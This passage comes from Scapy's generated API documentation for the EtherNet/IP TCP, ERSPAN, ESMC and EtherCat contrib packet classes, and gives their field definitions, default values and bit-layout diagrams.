+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ENIPListInterfaces                      


ENIPListInterfaces fields






	itemCount

	FieldLenField

	0



	items

	PacketListField

	[]















	
class scapy.contrib.enipTCP.ENIPListInterfacesItem(_pkt, /, *, itemTypeCode=0, itemLength=0, itemData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L205-L213]

	Bases: Packet

List Interfaces Item Fields


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ITEMTYPECODE         |           ITEMLENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ITEMDATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ENIPListInterfacesItem                    


ENIPListInterfacesItem fields






	itemTypeCode

	LEShortEnumField

	0



	itemLength

	FieldLenField

	0



	itemData

	StrLenField

	b''















	
class scapy.contrib.enipTCP.ENIPListServices(_pkt, /, *, itemCount=0, items=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L154-L160]

	Bases: Packet

List Services Command Field


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ITEMCOUNT           |             ITEMS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ENIPListServices                       


ENIPListServices fields






	itemCount

	FieldLenField

	0



	items

	PacketListField

	[]















	
class scapy.contrib.enipTCP.ENIPListServicesItem(_pkt, /, *, itemTypeCode=0, itemLength=0, protocolVersion=0, flag=0, serviceName=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L142-L151]

	Bases: Packet

List Services Item Field


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ITEMTYPECODE         |           ITEMLENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PROTOCOLVERSION        |              FLAG             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          SERVICENAME                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ENIPListServicesItem                     


ENIPListServicesItem fields






	itemTypeCode

	LEShortEnumField

	0



	itemLength

	LEFieldLenField

	0



	protocolVersion

	LEShortField

	0



	flag

	XLEShortField

	0



	serviceName

	StrFixedLenField

	None















	
class scapy.contrib.enipTCP.ENIPRegisterSession(_pkt, /, *, protocolVersion=1, options=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L228-L234]

	Bases: Packet

Register Session Command Field


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PROTOCOLVERSION        |            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ENIPRegisterSession                     


ENIPRegisterSession fields






	protocolVersion

	LEShortField

	1



	options

	LEShortField

	0















	
class scapy.contrib.enipTCP.ENIPSendRRData(_pkt, /, *, interface=0, timeout=255, itemCount=0, items=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L249-L258]

	Bases: Packet

Send RR Data Command Field


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           INTERFACE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TIMEOUT            |           ITEMCOUNT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             ITEMS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ENIPSendRRData                        


ENIPSendRRData fields






	interface

	LEIntEnumField

	0



	timeout

	LEShortField

	255



	itemCount

	LEFieldLenField

	0



	items

	PacketListField

	[]















	
class scapy.contrib.enipTCP.ENIPSendUnitData(_pkt, /, *, interface=0, timeout=255, itemCount=0, items=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L264-L272]

	Bases: Packet

Send Unit Data Command Field


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           INTERFACE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TIMEOUT            |           ITEMCOUNT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             ITEMS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ENIPSendUnitData                       


ENIPSendUnitData fields






	interface

	LEIntEnumField

	0



	timeout

	LEShortField

	255



	itemCount

	LEFieldLenField

	0



	items

	PacketListField

	[]















	
class scapy.contrib.enipTCP.ENIPTCP(_pkt, /, *, commandId=None, length=0, session=0, status=None, senderContext=0, options=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L278-L293]

	Bases: Packet

Ethernet/IP packet over TCP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           COMMANDID           |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SESSION                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SENDERCONTEXT                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            OPTIONS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. ENIPTCP                           


ENIPTCP fields






	commandId

	LEShortEnumField

	None



	length

	LEShortField

	0



	session

	XLEIntField

	0



	status

	LEIntEnumField

	None



	senderContext

	LELongField

	0



	options

	LEIntField

	0











	
payload_guess

	Possible sublayers:
ENIPListIdentity, ENIPListInterfaces, ENIPListServices, ENIPRegisterSession, ENIPSendRRData, ENIPSendUnitData, ENIPUnknownCommand, ENIPUnregisterSession






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L290-L293]

	








	
class scapy.contrib.enipTCP.ENIPUnknownCommand(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L133-L136]

	Bases: Packet

Unknown Command reply


	
aliastypes

	








	
class scapy.contrib.enipTCP.ENIPUnregisterSession(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L240-L243]

	Bases: Packet

Unregister Session Command Field


	
aliastypes

	








	
class scapy.contrib.enipTCP.ItemData(_pkt, /, *, typeId=0, length=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L117-L127]

	Bases: Packet

Common Packet Format


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L126-L127]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             TYPEID            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ItemData                           


ItemData fields






	typeId

	LEShortEnumField

	0



	length

	LEShortField

	0



	data

	XLEStrLenField

	b''

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.erspan

ERSPAN - Encapsulated Remote SPAN

https://datatracker.ietf.org/doc/html/draft-foschiano-erspan-03


	
class scapy.contrib.erspan.ERSPAN(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/erspan.py#L22-L41]

	Bases: Packet

A generic ERSPAN packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/erspan.py#L29-L41]

	




	
fields_desc

	








	
class scapy.contrib.erspan.ERSPAN_I(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/erspan.py#L44-L47]

	Bases: ERSPAN


	
aliastypes

	




	
fields_desc

	




	
match_subclass = True

	




	
payload_guess

	Possible sublayers:
Ether










	
class scapy.contrib.erspan.ERSPAN_II(_pkt, /, *, ver=1, vlan=0, cos=0, en=0, t=0, session_id=0, reserved=0, index=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/erspan.py#L50-L61]

	Bases: ERSPAN


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  VER  |          VLAN         | COS | EN|T|     SESSION ID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        RESERVED       |                 INDEX                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ERSPAN_II                          


ERSPAN_II fields






	ver

	BitField  (4 bits)

	1



	vlan

	BitField  (12 bits)

	0



	cos

	BitField  (3 bits)

	0



	en

	BitField  (2 bits)

	0



	t

	BitField  (1 bit)

	0



	session_id

	BitField  (10 bits)

	0



	reserved

	BitField  (12 bits)

	0



	index

	BitField  (20 bits)

	0











	
match_subclass = True

	




	
payload_guess

	Possible sublayers:
Ether










	
class scapy.contrib.erspan.ERSPAN_III(_pkt, /, *, ver=2, vlan=0, cos=0, bso=0, t=0, session_id=0, timestamp=0, sgt_other=0, p=0, ft=0, hw=0, d=0, gra=0, o=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/erspan.py#L64-L83]

	Bases: ERSPAN


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  VER  |          VLAN         | COS |BSO|T|     SESSION ID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SGT OTHER           |P|    FT   |     HW    |D|GRA|O|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ERSPAN_III                          


ERSPAN_III fields






	ver

	BitField  (4 bits)

	2



	vlan

	BitField  (12 bits)

	0



	cos

	BitField  (3 bits)

	0



	bso

	BitField  (2 bits)

	0



	t

	BitField  (1 bit)

	0



	session_id

	BitField  (10 bits)

	0



	timestamp

	XIntField

	0



	sgt_other

	XShortField

	0



	p

	BitField  (1 bit)

	0



	ft

	BitEnumField

	0



	hw

	BitField  (6 bits)

	0



	d

	BitField  (1 bit)

	0



	gra

	BitEnumField

	0



	o

	BitField  (1 bit)

	0











	
match_subclass = True

	




	
payload_guess

	Possible sublayers:
ERSPAN_PlatformSpecific, Ether










	
class scapy.contrib.erspan.ERSPAN_PlatformSpecific(_pkt, /, *, platf_id=0, info1=0, info2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/erspan.py#L86-L90]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  PLATF ID |                       INFO1                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             INFO2                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ERSPAN_PlatformSpecific                   


ERSPAN_PlatformSpecific fields






	platf_id

	BitField  (6 bits)

	0



	info1

	BitField  (26 bits)

	0



	info2

	XIntField

	0











	
payload_guess

	Possible sublayers:
Ether












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.esmc


	
class scapy.contrib.esmc.EQLTLV(_pkt, /, *, type=2, length=20, enhancedSsmCode=255, clockIdentity=b'\x00\x00\x00\x00\x00\x00\x00\x00', flag=0, cascaded_eEEcs=1, cascaded_EEcs=0, reserved=b'\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/esmc.py#L42-L53]

	Bases: ESMC


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |             LENGTH            |ENHANCEDSSMCODE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CLOCKIDENTITY                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      FLAG     | CASCADED EEECS| CASCADED EECS |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. EQLTLV                            


EQLTLV fields






	type

	ByteField

	2



	length

	ShortField

	20



	enhancedSsmCode

	XByteField

	255



	clockIdentity

	XStrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	flag

	ByteField

	0



	cascaded_eEEcs

	ByteField

	1



	cascaded_EEcs

	ByteField

	0



	reserved

	XStrFixedLenField

	b'\x00\x00\x00\x00\x00'















	
class scapy.contrib.esmc.ESMC(_pkt, /, *, ituOui=b'\x00\x19\xa7', ituSubtype=1, version=1, event=0, reserved1=0, reserved2=b'\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/esmc.py#L14-L30]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     ITUOUI                    |   ITUSUBTYPE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |VERSION|E|RESER|           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                            Fig. ESMC                             


ESMC fields






	ituOui

	XStrFixedLenField

	b'\x00\x19\xa7'



	ituSubtype

	ShortField

	1



	version

	BitField  (4 bits)

	1



	event

	BitField  (1 bit)

	0



	reserved1

	BitField  (3 bits)

	0



	reserved2

	XStrFixedLenField

	b'\x00\x00\x00'











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/esmc.py#L25-L30]

	








	
class scapy.contrib.esmc.QLTLV(_pkt, /, *, type=1, length=4, ssmCode=15)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/esmc.py#L33-L39]

	Bases: ESMC


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |             LENGTH            |    SSMCODE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. QLTLV                            


QLTLV fields






	type

	ByteField

	1



	length

	ShortField

	4



	ssmCode

	XByteField

	15

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.ethercat


EtherCat automation protocol


	author:

	Thomas Tannhaeuser, hecke@naberius.de



	description:

	This module provides Scapy layers for the EtherCat protocol.


	normative references:
	
	IEC 61158-3-12 - data link service and topology description


	IEC 61158-4-12 - protocol specification








Currently only read/write services as defined in IEC 61158-4-12,
sec. 5.4 are supported.



	TODO:

	
	Mailbox service (sec. 5.5)


	Network variable service (sec. 5.6)






	NOTES:

	
	EtherCat frame type defaults to TYPE-12-PDU (0x01) using xxx bytes
of padding


	padding for minimum frame size is added automatically










	
class scapy.contrib.ethercat.EtherCat(_pkt, /, *, length=0, _reserved=0, type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L511-L617]

	Bases: Packet

Common EtherCat header layer


	
ETHERCAT_HEADER_LEN = 2

	




	
ETHERCAT_TYPE12_DLPDU_TYPES = {1: <class 'scapy.contrib.ethercat.EtherCatAPRD'>, 2: <class 'scapy.contrib.ethercat.EtherCatAPWR'>, 3: <class 'scapy.contrib.ethercat.EtherCatAPRW'>, 4: <class 'scapy.contrib.ethercat.EtherCatFPRD'>, 5: <class 'scapy.contrib.ethercat.EtherCatFPWR'>, 6: <class 'scapy.contrib.ethercat.EtherCatFPRW'>, 7: <class 'scapy.contrib.ethercat.EtherCatBRD'>, 8: <class 'scapy.contrib.ethercat.EtherCatBWR'>, 9: <class 'scapy.contrib.ethercat.EtherCatBRW'>, 10: <class 'scapy.contrib.ethercat.EtherCatLRD'>, 11: <class 'scapy.contrib.ethercat.EtherCatLWR'>, 12: <class 'scapy.contrib.ethercat.EtherCatLRW'>, 13: <class 'scapy.contrib.ethercat.EtherCatARMW'>, 14: <class 'scapy.contrib.ethercat.EtherCatFRMW'>}

	




	
ETHER_FRAME_MIN_LEN = 64

	




	
ETHER_FSC_LEN = 4

	




	
ETHER_HEADER_LEN = 14

	




	
FRAME_TYPES = {1: 'TYPE-12-PDU', 4: 'NETWORK-VARIABLES', 5: 'MAILBOX'}

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        LENGTH       | |  TYPE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. EtherCat                           


EtherCat fields






	length

	LEBitField  (11 bits)

	0



	_reserved

	LEBitField  (1 bit)

	0



	type

	LEBitField  (4 bits)

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L609-L617]

	




	
payload_guess

	Possible sublayers:
EtherCatAPRD, EtherCatAPRW, EtherCatAPWR, EtherCatARMW, EtherCatBRD, EtherCatBRW, EtherCatBWR, EtherCatFPRD, EtherCatFPRW, EtherCatFPWR, EtherCatFRMW, EtherCatLRD, EtherCatLRW, EtherCatLWR






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L549-L607]

	need to set the length of the whole PDU manually
to avoid any bit fiddling use a dummy class to build the layer content

also add padding if frame is < 64 bytes


	Note: padding only handles Ether/n*Dot1Q/EtherCat
	(no special mumbo jumbo)






	Parameters:

	
	pkt – raw string containing the current layer


	pay – raw string containing the payload






	Returns:

	<new current layer> + payload














	
class scapy.contrib.ethercat.EtherCatAPRD(_pkt, /, *, _cmd=1, idx=0, adp=0, ado=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L362-L369]

	Bases: EtherCatType12DLPDU

APRD - Auto Increment Physical Read
(IEC 61158-5-12, sec. 5.4.1.2 tab. 14 / p. 32)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADO              |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EtherCatAPRD                         


EtherCatAPRD fields






	_cmd

	ByteField

	1



	idx

	ByteField

	0



	adp

	LEShortField

	0



	ado

	LEShortField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatAPRW(_pkt, /, *, _cmd=3, idx=0, adp=0, ado=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L451-L458]

	Bases: EtherCatType12DLPDU

APRW - Auto Increment Physical Read Write
(IEC 61158-5-12, sec. 5.4.3.1 tab. 22 / p. 41)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADO              |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EtherCatAPRW                         


EtherCatAPRW fields






	_cmd

	ByteField

	3



	idx

	ByteField

	0



	adp

	LEShortField

	0



	ado

	LEShortField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatAPWR(_pkt, /, *, _cmd=2, idx=0, adp=0, ado=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L407-L414]

	Bases: EtherCatType12DLPDU

APWR - Auto Increment Physical Write
(IEC 61158-5-12, sec. 5.4.2.2 tab. 18 / p. 37)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CMD     |      IDX      |              ADP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADO              |         LEN         | RESE| C |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              NEXT             |IRQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |              DATA             |WKC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EtherCatAPWR                         


EtherCatAPWR fields






	_cmd

	ByteField

	2



	idx

	ByteField

	0



	adp

	LEShortField

	0



	ado

	LEShortField

	0



	len

	LEBitFieldLenField  (11 bits)

	None



	_reserved

	LEBitField  (3 bits)

	0



	c

	LEBitEnumField  (1 bit)

	0



	next

	LEBitEnumField  (1 bit)

	None



	irq

	LEShortField

	0



	data

	FieldListField

	[]



	wkc

	LEShortField

	0















	
class scapy.contrib.ethercat.EtherCatARMW(_pkt, /, *, _cmd=13, idx=0, adp=0, ado=0, len=None, _reserved=0, c=0, next=None, irq=0, data=[], wkc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ethercat.py#L491-L498]

	Bases: EtherCatType12DLPDU

ARMW - Auto increment physical read multiple write
(IEC 61158-5-12, sec. 5.4.3.5 tab. 26 / p. 46)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
